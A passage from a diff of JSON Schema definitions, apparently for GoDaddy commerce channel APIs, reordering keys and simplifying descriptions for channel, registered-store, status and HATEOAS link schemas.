"$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Mobile Channel", + "title": "Mobile Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -4675,237 +5117,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ] + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Social Channel", - "type": "object", - "description": "Resource representing the Social Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Marketplace Channel", + "title": "Marketplace Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -4913,230 +5351,229 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" } }, "required": [ - "name" - ] - } - ] + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Social Channel", + "title": "Social Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetSchema": { + "description": "The schema that describes the link target." }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the 